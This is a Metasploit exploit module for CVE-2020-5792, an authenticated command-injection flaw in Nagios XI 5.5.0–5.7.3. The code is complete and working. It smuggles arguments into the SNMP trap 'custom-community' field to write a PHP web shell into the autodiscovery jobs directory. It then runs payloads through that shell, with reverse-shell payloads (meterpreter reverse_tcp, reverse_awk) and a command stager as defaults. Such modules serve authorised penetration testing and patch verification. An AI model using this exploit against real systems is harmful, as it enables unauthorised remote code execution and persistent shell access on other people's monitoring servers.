Nagios XI 5.7.3 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote Code Exection',  
'Description' => %q{  
This module exploits an OS command injection vulnerability in  
includes/components/nxti/index.php that enables an authenticated user  
with admin privileges to achieve remote code execution as the `apache`  
user. The module uploads a simple PHP shell via includes/components/nxti/index.php  
to includes/components/autodiscovery/jobs/<php_shell> and then  
executes the payload as the `apache` user via an HTTP GET request to  
includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>  
  
Valid credentials for a Nagios XI admin user are required. This module has  
been successfully tested against Nagios XI 5.7.3 running on CentOS 7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Lyne', # discovery  
'Erik Wynter' # @wyntererik - Metasploit'  
],  
'References' =>  
[  
['CVE', '2020-5792']  
],  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' =>  
[  
[  
'Linux (x86/x64)', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'linux',  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
],  
[  
'CMD', {  
'Arch' => [ARCH_CMD],  
'Platform' => 'unix',  
# cmd/unix/reverse_awk is one of the few reliable CMD payloads for a typical NagiosXI install (CentOS 7 minimal).  
# other options are cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_awk' }  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-10-20',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])  
]  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def finish_install  
datastore['FINISH_INSTALL']  
end  
  
def check  
# Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns  
# an array containing the http response body of a GET request to index.php and the session cookies  
login_result, res_array = nagios_xi_login(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is not fully installed  
install_result = install_nagios_xi(password)  
if install_result  
return CheckCode::Unknown(install_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4 # Nagios XI is still not fully installed  
return CheckCode::Detected('Failed to install Nagios XI on the target.')  
end  
end  
  
# when 5 is excluded from the case statement above to prevent having to use this code block twice.  
# Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.  
if login_result == 5 # the Nagios XI license agreement has not been signed  
auth_cookies, nsp = res_array  
sign_license_result = sign_license_agreement(auth_cookies, nsp)  
if sign_license_result  
return CheckCode::Unknown(sign_license_result[1])  
end  
  
login_result, res_array = login_after_install_or_license(username, password, finish_install)  
case login_result  
when 1..3  
return CheckCode::Unknown(res_array[0])  
when 5 # the Nagios XI license agreement still has not been signed  
return CheckCode::Detected('Failed to sign the license agreement.')  
end  
end  
  
print_good('Successfully authenticated to Nagios XI')  
  
# Obtain the Nagios XI version  
@auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already  
  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')  
end  
  
print_status("Target is Nagios XI with version #{nagios_version}")  
  
if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'  
nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.  
end  
  
# check if the target is actually vulnerable  
version = Rex::Version.new(nagios_version)  
if version >= Rex::Version.new('5.5.0') && version <= Rex::Version.new('5.7.3')  
return CheckCode::Appears  
end  
  
return CheckCode::Safe  
end  
  
def alert_exploit_attempt(payload_string)  
payload_execution = "#{normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs', @php_log_file)}?#{@php_param}=<cmd>"  
print_status("Attempting to execute the #{payload_string} via `#{payload_execution}`")  
end  
  
def upload_php_shell  
# prepare the variables we need  
@php_param = rand_text_alpha(1) # this does not work with longer parameters  
php_shell = "<?php /* */system(/* */$_GET[\"#{@php_param}\"])/* */?>"  
encoded_payload = Rex::Text.to_hex(php_shell)  
encoded_payload.gsub!('\x', '') # get clean hex without the \x format  
@php_log_file = "#{rand_text_alpha(8..12)}.php"  
php_log_file_path = "/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/#{@php_log_file}"  
register_file_for_cleanup(php_log_file_path)  
  
# upload the shell  
print_status("Uploading a simple PHP shell to #{php_log_file_path}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'nxti', 'index.php'),  
'cookie' => @auth_cookies,  
'vars_get' =>  
{  
'custom-version' => '2c',  
'generic-trap-option' => '0',  
'specific-trap-option' => '',  
'custom-agent' => '',  
'custom-community' => "a -d -L f #{php_log_file_path}",  
'custom-oid' => 'NET-SNMP-EXAMPLES-MIB::netSnmpExampleHeartbeatNotification',  
'variablebindings[name][]' => 'x',  
'variablebindings[type][]' => 'x',  
'variablebindings[value][]' => encoded_payload,  
'mode' => 'customTrap'  
}  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the PHP shell')  
end  
  
unless res.code == 200 && res.body.include?('var message = "Custom trap sent successfully!";')  
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to upload the PHP shell')  
end  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs', @php_log_file),  
'cookie' => @auth_cookies,  
'vars_get' => { @php_param => cmd }  
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload  
end  
  
def exploit  
upload_php_shell # upload a simple php shell that will be used to execute the payload  
if target.arch.first == ARCH_CMD  
alert_exploit_attempt('payload')  
execute_command(payload.encoded)  
else  
alert_exploit_attempt('initial payload')  
execute_cmdstager(background: true)  
end  
end  
end  
`